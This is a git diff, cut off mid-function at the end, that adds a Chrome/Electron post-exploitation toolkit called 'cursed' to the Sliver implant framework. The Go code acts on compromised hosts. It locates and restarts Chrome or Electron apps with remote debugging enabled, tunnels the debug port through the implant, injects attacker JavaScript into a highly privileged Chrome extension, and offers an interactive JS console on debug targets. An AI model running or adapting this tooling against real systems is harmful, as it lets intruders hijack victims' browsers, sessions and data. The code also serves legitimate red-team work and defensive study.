diff --git a/client/command/commands.go b/client/command/commands.go
index d972a61cde..b5aa096986 100644
--- a/client/command/commands.go
+++ b/client/command/commands.go
@@ -42,6 +42,7 @@ import (
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/completers"
+ "github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -3298,6 +3299,97 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("r", "range", "sliver", "Agents range")
},
})
-
con.App.AddCommand(operatorCmd)
+
+ // [ Curse Commands ] ------------------------------------------------------------
+
+ cursedCmd := &grumble.Command{
+ Name: consts.Cursed,
+ Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
+ LongHelp: help.GetHelpFor([]string{consts.Cursed}),
+ HelpGroup: consts.GenericHelpGroup,
+ Flags: func(f *grumble.Flags) {
+ f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ },
+ Run: func(ctx *grumble.Context) error {
+ con.Println()
+ cursed.CursedCmd(ctx, con)
+ con.Println()
+ return nil
+ },
+ }
+ cursedCmd.AddCommand(&grumble.Command{
+ Name: consts.RmStr,
+ Help: "Remove a Curse from a process",
+ LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
+ HelpGroup: consts.GenericHelpGroup,
+ Flags: func(f *grumble.Flags) {
+ f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ },
+ Args: func(a *grumble.Args) {
+ a.Int("bind-port", "bind port of the Cursed process to stop")
+ },
+ Run: func(ctx *grumble.Context) error {
+ con.Println()
+ cursed.CursedRmCmd(ctx, con)
+ con.Println()
+ return nil
+ },
+ })
+ cursedCmd.AddCommand(&grumble.Command{
+ Name: consts.CursedConsole,
+ Help: "Start a JavaScript console connected to a debug target",
+ LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
+ HelpGroup: consts.GenericHelpGroup,
+ Flags: func(f *grumble.Flags) {
+ f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+ f.String("e", "extension-id", "", "extension id to inject into (blank string = auto)")
+
+ f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ },
+ Run: func(ctx *grumble.Context) error {
+ con.Println()
+ cursed.CursedConsoleCmd(ctx, con)
+ con.Println()
+ return nil
+ },
+ })
+ cursedCmd.AddCommand(&grumble.Command{
+ Name: consts.CursedChrome,
+ Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
+ LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
+ HelpGroup: consts.GenericHelpGroup,
+ Flags: func(f *grumble.Flags) {
+ f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+ f.String("i", "extension-id", "", "extension id to inject into (blank string = auto)")
+ f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+
+ f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ },
+ Run: func(ctx *grumble.Context) error {
+ con.Println()
+ cursed.CursedChromeCmd(ctx, con)
+ con.Println()
+ return nil
+ },
+ })
+ cursedCmd.AddCommand(&grumble.Command{
+ Name: consts.CursedElectron,
+ Help: "Curse a remote Electron application",
+ LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
+ HelpGroup: consts.GenericHelpGroup,
+ Flags: func(f *grumble.Flags) {
+ f.String("e", "exe", "", "remote electron executable absolute path")
+ f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+
+ f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ },
+ Run: func(ctx *grumble.Context) error {
+ con.Println()
+ cursed.CursedElectronCmd(ctx, con)
+ con.Println()
+ return nil
+ },
+ })
+ con.App.AddCommand(cursedCmd)
}
diff --git a/client/command/cursed/README.md b/client/command/cursed/README.md
new file mode 100644
index 0000000000..e81d1e6835
--- /dev/null
+++ b/client/command/cursed/README.md
@@ -0,0 +1,3 @@
+# Cursed
+
+Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](/~https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
diff --git a/client/command/cursed/cursed-chrome.go b/client/command/cursed/cursed-chrome.go
new file mode 100644
index 0000000000..c973081ec6
--- /dev/null
+++ b/client/command/cursed/cursed-chrome.go
@@ -0,0 +1,350 @@
+package cursed
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2022 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "context"
+ "errors"
+ "fmt"
+ "io/ioutil"
+ "log"
+ insecureRand "math/rand"
+ "strings"
+ "time"
+
+ "github.com/AlecAivazis/survey/v2"
+ "github.com/bishopfox/sliver/client/console"
+ "github.com/bishopfox/sliver/client/core"
+ "github.com/bishopfox/sliver/client/overlord"
+ "github.com/bishopfox/sliver/client/tcpproxy"
+ "github.com/bishopfox/sliver/protobuf/clientpb"
+ "github.com/bishopfox/sliver/protobuf/commonpb"
+ "github.com/bishopfox/sliver/protobuf/sliverpb"
+ "github.com/desertbit/grumble"
+)
+
+var (
+ ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
+ ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
+ ErrUnsupportedOS = errors.New("unsupported OS")
+
+ windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
+
+ cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
+ cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ session := con.ActiveTarget.GetSessionInteractive()
+ if session == nil {
+ return
+ }
+
+ payloadPath := ctx.Flags.String("payload")
+ var payload []byte
+ var err error
+ if payloadPath != "" {
+ payload, err = ioutil.ReadFile(payloadPath)
+ if err != nil {
+ con.PrintErrorf("Could not read payload file: %s\n", err)
+ return
+ }
+ }
+
+ curse := avadaKedavraChrome(session, ctx, con)
+ if curse == nil {
+ return
+ }
+ if payloadPath == "" {
+ con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
+ return
+ }
+
+ con.PrintInfof("Searching for Chrome extension with all permissions ... ")
+ chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ return
+ }
+ // There is one alternative set of permissions that we can use if we don't find an extension
+ // with all the proper permissions.
+ if chromeExt == nil {
+ chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ return
+ }
+ }
+ if chromeExt != nil {
+ con.Printf("success!\n")
+ con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
+ con.PrintInfof("Injecting payload ... ")
+ ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+ // extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
+ // defer cancel()
+ _, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ return
+ }
+ con.Printf("success!\n")
+ } else {
+ con.Printf("failure!\n")
+ con.PrintInfof("No viable Chrome extensions were found ☹️\n")
+ }
+}
+
+func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+ chromeProcess, err := getChromeProcess(session, ctx, con)
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ return nil
+ }
+ if chromeProcess != nil {
+ con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
+ con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
+ con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+ con.Printf("\n")
+ confirm := false
+ err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ return nil
+ }
+ if !confirm {
+ con.PrintErrorf("User cancel\n")
+ return nil
+ }
+ }
+ curse, err := startCursedChromeProcess(true, session, ctx, con)
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ return nil
+ }
+ return curse
+}
+
+func startCursedChromeProcess(restore bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
+ con.PrintInfof("Finding Chrome executable path ... ")
+ chromeExePath, err := findChromeExecutablePath(session, ctx, con)
+ if err != nil {
+ con.Printf("failure!\n")
+ return nil, err
+ }
+ con.Printf("success!\n")
+ con.PrintInfof("Finding Chrome user data directory ... ")
+ chromeUserDataDir, err := findChromeUserDataDir(session, ctx, con)
+ if err != nil {
+ con.Printf("failure!\n")
+ return nil, err
+ }
+ con.Printf("success!\n")
+
+ con.PrintInfof("Starting Chrome process ... ")
+ debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
+ args := []string{
+ fmt.Sprintf("--remote-debugging-port=%d", debugPort),
+ }
+ if restore {
+ args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
+ args = append(args, "--restore-last-session")
+ }
+
+ // Execute the Chrome process with the extra flags
+ // TODO: PPID spoofing, etc.
+ chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+ Request: con.ActiveTarget.Request(ctx),
+ Path: chromeExePath,
+ Args: args,
+ Output: false,
+ })
+ if err != nil {
+ con.Printf("failure!\n")
+ return nil, err
+ }
+ con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
+
+ con.PrintInfof("Waiting for Chrome process to initialize ... ")
+ time.Sleep(2 * time.Second)
+
+ bindPort := insecureRand.Intn(10000) + 40000
+ bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
+
+ remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+
+ tcpProxy := &tcpproxy.Proxy{}
+ channelProxy := &core.ChannelProxy{
+ Rpc: con.Rpc,
+ Session: session,
+ RemoteAddr: remoteAddr,
+ BindAddr: bindAddr,
+ KeepAlivePeriod: 60 * time.Second,
+ DialTimeout: 30 * time.Second,
+ }
+ tcpProxy.AddRoute(bindAddr, channelProxy)
+ portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
+
+ curse := &core.CursedProcess{
+ SessionID: session.ID,
+ PID: chromeExec.GetPid(),
+ PortFwd: portFwd,
+ BindTCPPort: bindPort,
+ Platform: session.GetOS(),
+ ExePath: chromeExePath,
+ ChromeUserDataDir: chromeUserDataDir,
+ }
+ core.CursedProcesses.Store(bindPort, curse)
+ go func() {
+ err := tcpProxy.Run()
+ if err != nil {
+ log.Printf("Proxy error %s", err)
+ }
+ core.CursedProcesses.Delete(bindPort)
+ }()
+
+ con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
+
+ return curse, nil
+}
+
+func isChromeProcess(executable string) bool {
+ var chromeProcessNames = []string{
+ "chrome", // Linux
+ "chrome.exe", // Windows
+ "Google Chrome", // Darwin
+ }
+ for _, suffix := range chromeProcessNames {
+ if strings.HasSuffix(executable, suffix) {
+ return true
+ }
+ }
+ return false
+}
+
+func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+ ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+ Request: con.ActiveTarget.Request(ctx),
+ })
+ if err != nil {
+ return nil, err
+ }
+ for _, process := range ps.Processes {
+ if process.GetOwner() != session.GetUsername() {
+ continue
+ }
+ if isChromeProcess(process.GetExecutable()) {
+ return process, nil
+ }
+ }
+ return nil, nil
+}
+
+func findChromeUserDataDir(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+ switch session.GetOS() {
+
+ case "windows":
+ username := session.GetUsername()
+ if strings.Contains(username, "\\") {
+ username = strings.Split(username, "\\")[1]
+ }
+ for _, driveLetter := range windowsDriveLetters {
+ userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
+ ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+ Request: con.ActiveTarget.Request(ctx),
+ Path: userDataDir,
+ })
+ if err != nil {
+ return "", err
+ }
+ if ls.GetExists() {
+ return userDataDir, nil
+ }
+ }
+ return "", ErrUserDataDirNotFound
+
+ case "darwin":
+ userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
+ ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+ Request: con.ActiveTarget.Request(ctx),
+ Path: userDataDir,
+ })
+ if err != nil {
+ return "", err
+ }
+ if ls.GetExists() {
+ return userDataDir, nil
+ }
+ return "", ErrUserDataDirNotFound
+
+ default:
+ return "", ErrUnsupportedOS
+ }
+}
+
+func findChromeExecutablePath(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+ switch session.GetOS() {
+
+ case "windows":
+ chromePaths := []string{
+ "[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
+ "[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
+ "[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
+ "[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
+ }
+ username := session.GetUsername()
+ if strings.Contains(username, "\\") {
+ username = strings.Split(username, "\\")[1]
+ }
+ for _, driveLetter := range windowsDriveLetters {
+ for _, chromePath := range chromePaths {
+ chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
+ chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
+ ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+ Request: con.ActiveTarget.Request(ctx),
+ Path: chromeExecutablePath,
+ })
+ if err != nil {
+ return "", err
+ }
+ if ls.GetExists() {
+ return chromeExecutablePath, nil
+ }
+ }
+ }
+ return "", ErrChromeExecutableNotFound
+
+ case "darwin":
+ const defaultChromePath = "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
+ ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+ Request: con.ActiveTarget.Request(ctx),
+ Path: defaultChromePath,
+ })
+ if err != nil {
+ return "", err
+ }
+ if ls.GetExists() {
+ return defaultChromePath, nil
+ }
+ return "", ErrChromeExecutableNotFound
+
+ default:
+ return "", ErrUnsupportedOS
+ }
+}
diff --git a/client/command/cursed/cursed-console.go b/client/command/cursed/cursed-console.go
new file mode 100644
index 0000000000..f10cd5a7aa
--- /dev/null
+++ b/client/command/cursed/cursed-console.go
@@ -0,0 +1,135 @@
+package cursed
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2022 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "bytes"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "strings"
+ "text/tabwriter"
+
+ "github.com/AlecAivazis/survey/v2"
+ "github.com/bishopfox/sliver/client/console"
+ "github.com/bishopfox/sliver/client/core"
+ "github.com/bishopfox/sliver/client/overlord"
+ "github.com/desertbit/grumble"
+ "github.com/desertbit/readline"
+)
+
+func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ curse := selectCursedProcess(con)
+ if curse == nil {
+ return
+ }
+ con.Println()
+ con.PrintInfof("Querying debug targets ... ")
+ targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+ con.Printf(console.Clearln + "\r")
+ if err != nil {
+ con.PrintErrorf("Failed to query debug targets: %s\n", err)
+ return
+ }
+ target := selectDebugTarget(targets, con)
+ if target == nil {
+ return
+ }
+ con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
+ startCursedConsole(curse, target, con)
+}
+
+func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
+ if len(targets) < 1 {
+ con.PrintErrorf("No debug targets\n")
+ return nil
+ }
+
+ id2target := map[string]overlord.ChromeDebugTarget{}
+ outputBuf := bytes.NewBufferString("")
+ table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+ for _, target := range targets {
+ fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
+ id2target[target.ID] = target
+ }
+ table.Flush()
+ options := strings.Split(outputBuf.String(), "\n")
+ options = options[:len(options)-1] // Remove the last empty option
+ prompt := &survey.Select{
+ Message: "Select a debug target:",
+ Options: options,
+ }
+ selected := ""
+ err := survey.AskOne(prompt, &selected)
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ return nil
+ }
+ if selected == "" {
+ return nil
+ }
+ selectedID := strings.Split(selected, " ")[0]
+ selectedTarget := id2target[selectedID]
+ return &selectedTarget
+}
+
+func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
+ tmpFile, _ := ioutil.TempFile("", "cursed")
+ reader, err := readline.NewEx(&readline.Config{
+ Prompt: "\033[31mcursed »\033[0m ",
+ HistoryFile: tmpFile.Name(),
+ // AutoComplete: nil,
+ InterruptPrompt: "^C",
+ EOFPrompt: "exit",
+ HistorySearchFold: true,
+ // FuncFilterInputRune: filterInput,
+ })
+ if err != nil {
+ con.PrintErrorf("Failed to create read line: %s\n", err)
+ return
+ }
+ for {
+ line, err := reader.Readline()
+ if err == readline.ErrInterrupt {
+ if len(line) == 0 {
+ break
+ } else {
+ continue
+ }
+ } else if err == io.EOF {
+ break
+ }
+ switch strings.TrimSpace(line) {
+ case "exit":
+ return
+ default:
+ ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+ result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ }
+ con.Println()
+ if 0 < len(result) {
+ con.Printf("%s\n", result)
+ con.Println()
+ }
+ }
+ }
+
+}
diff --git a/client/command/cursed/cursed-electron.go b/client/command/cursed/cursed-electron.go
new file mode 100644
index 0000000000..ea4a01cef9
--- /dev/null
+++ b/client/command/cursed/cursed-electron.go
@@ -0,0 +1,217 @@
+package cursed
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2022 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "context"
+ "fmt"
+ "log"
+ insecureRand "math/rand"
+ "path"
+ "time"
+
+ "github.com/AlecAivazis/survey/v2"
+ "github.com/bishopfox/sliver/client/console"
+ "github.com/bishopfox/sliver/client/core"
+ "github.com/bishopfox/sliver/client/overlord"
+ "github.com/bishopfox/sliver/client/tcpproxy"
+ "github.com/bishopfox/sliver/protobuf/clientpb"
+ "github.com/bishopfox/sliver/protobuf/commonpb"
+ "github.com/bishopfox/sliver/protobuf/sliverpb"
+ "github.com/desertbit/grumble"
+)
+
+func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ session := con.ActiveTarget.GetSessionInteractive()
+ if session == nil {
+ return
+ }
+
+ electronExe := ctx.Flags.String("exe")
+ if electronExe == "" {
+ con.PrintErrorf("Missing --exe flag, see --help\n")
+ return
+ }
+
+ curse := avadaKedavraElectron(electronExe, session, ctx, con)
+ if curse == nil {
+ return
+ }
+ con.PrintInfof("Checking for debug targets ...")
+ targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+ con.Printf(console.Clearln + "\r")
+ if err != nil {
+ con.PrintErrorf("Failed to query debug targets: %s\n", err)
+ return
+ }
+ if len(targets) == 0 {
+ con.PrintErrorf("Zero debug targets found\n")
+ return
+ }
+ con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
+}
+
+func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+ exists, err := checkElectronPath(electronExe, session, ctx, con)
+ if err != nil {
+ con.PrintErrorf("%s", err)
+ return nil
+ }
+ if !exists {
+ con.PrintErrorf("Executable path does not exist: %s", electronExe)
+ return nil
+ }
+ electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ return nil
+ }
+ if electronProcess != nil {
+ con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
+ con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
+ con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+ con.Printf("\n")
+ confirm := false
+ err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ return nil
+ }
+ if !confirm {
+ con.PrintErrorf("User cancel\n")
+ return nil
+ }
+ }
+ curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ return nil
+ }
+ return curse
+}
+
+func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
+ ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+ Request: con.ActiveTarget.Request(ctx),
+ Path: electronExe,
+ })
+ if err != nil {
+ return false, err
+ }
+ return ls.GetExists(), nil
+}
+
+func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+ ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+ Request: con.ActiveTarget.Request(ctx),
+ })
+ if err != nil {
+ return nil, err
+ }
+ for _, process := range ps.Processes {
+ if process.GetOwner() != session.GetUsername() {
+ continue
+ }
+ if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
+ return process, nil
+ }
+ }
+ return nil, nil
+}
+
+func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
+ con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
+ debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
+ args := []string{
+ fmt.Sprintf("--remote-debugging-port=%d", debugPort),
+ }
+
+ // Execute the Chrome process with the extra flags
+ // TODO: PPID spoofing, etc.
+ electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+ Request: con.ActiveTarget.Request(ctx),
+ Path: electronExe,
+ Args: args,
+ Output: false,
+ })
+ if err != nil {
+ con.Printf("failure!\n")
+ return nil, err
+ }
+ con.Printf("(pid: %d) success!\n", electronExec.GetPid())
+
+ con.PrintInfof("Waiting for process to initialize ... ")
+ time.Sleep(2 * time.Second)
+
+ bindPort := insecureRand.Intn(10000) + 40000
+ bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
+
+ remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+
+ tcpProxy := &tcpproxy.Proxy{}
+ channelProxy := &core.ChannelProxy{
+ Rpc: con.Rpc,
+ Session: session,
+ RemoteAddr: remoteAddr,
+ BindAddr: bindAddr,
+ KeepAlivePeriod: 60 * time.Second,
+ DialTimeout: 30 * time.Second,
+ }
+ tcpProxy.AddRoute(bindAddr, channelProxy)
+ portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
+
+ curse := &core.CursedProcess{
+ SessionID: session.ID,
+ PID: electronExec.GetPid(),
+ PortFwd: portFwd,
+ BindTCPPort: bindPort,
+ Platform: session.GetOS(),
+ ExePath: electronExe,
+ }
+ core.CursedProcesses.Store(bindPort, curse)
+ go func() {
+ err := tcpProxy.Run()
+ if err != nil {
+ log.Printf("Proxy error %s", err)
+ }
+ core.CursedProcesses.Delete(bindPort)
+ }()
+
+ con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
+
+ return curse, nil
+}
+
+func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+ ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+ Request: con.ActiveTarget.Request(ctx),
+ })
+ if err != nil {
+ return nil, err
+ }
+ for _, process := range ps.Processes {
+ if process.GetOwner() != session.GetUsername() {
+ continue
+ }
+ if isChromeProcess(process.GetExecutable()) {
+ return process, nil
+ }
+ }
+ return nil, nil
+}
diff --git a/client/command/cursed/cursed-rm.go b/client/command/cursed/cursed-rm.go
new file mode 100644
index 0000000000..170278f44b
--- /dev/null
+++ b/client/command/cursed/cursed-rm.go
@@ -0,0 +1,34 @@
+package cursed
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2022 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "github.com/bishopfox/sliver/client/console"
+ "github.com/bishopfox/sliver/client/core"
+ "github.com/desertbit/grumble"
+)
+
+func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ session := con.ActiveTarget.GetSessionInteractive()
+ if session == nil {
+ return
+ }
+ bindPort := ctx.Args.Int("bind-port")
+ core.CloseCursedProcessesByBindPort(session.ID, bindPort)
+}
diff --git a/client/command/cursed/cursed.go b/client/command/cursed/cursed.go
new file mode 100644
index 0000000000..474cdbff2a
--- /dev/null
+++ b/client/command/cursed/cursed.go
@@ -0,0 +1,109 @@
+package cursed
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2022 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "bytes"
+ "fmt"
+ "strconv"
+ "strings"
+ "text/tabwriter"
+
+ "github.com/AlecAivazis/survey/v2"
+ "github.com/bishopfox/sliver/client/command/settings"
+ "github.com/bishopfox/sliver/client/console"
+ "github.com/bishopfox/sliver/client/core"
+ "github.com/desertbit/grumble"
+ "github.com/jedib0t/go-pretty/v6/table"
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ cursedProcesses := [][]string{}
+ core.CursedProcesses.Range(func(key, value interface{}) bool {
+ curse := value.(*core.CursedProcess)
+ cursedProcesses = append(cursedProcesses, []string{
+ fmt.Sprintf("%d", curse.BindTCPPort),
+ strings.Split(curse.SessionID, "-")[0],
+ fmt.Sprintf("%d", curse.PID),
+ curse.Platform,
+ curse.ExePath,
+ curse.DebugURL().String(),
+ })
+ return true
+ })
+ if 0 < len(cursedProcesses) {
+ tw := table.NewWriter()
+ tw.SetStyle(settings.GetTableStyle(con))
+ tw.AppendHeader(table.Row{
+ "Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
+ })
+ for _, rowEntries := range cursedProcesses {
+ row := table.Row{}
+ for _, entry := range rowEntries {
+ row = append(row, entry)
+ }
+ tw.AppendRow(table.Row(row))
+ }
+ con.Printf("%s\n", tw.Render())
+ } else {
+ con.PrintInfof("No cursed processes\n")
+ }
+}
+
+func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
+ cursedProcesses := []*core.CursedProcess{}
+ core.CursedProcesses.Range(func(key, value interface{}) bool {
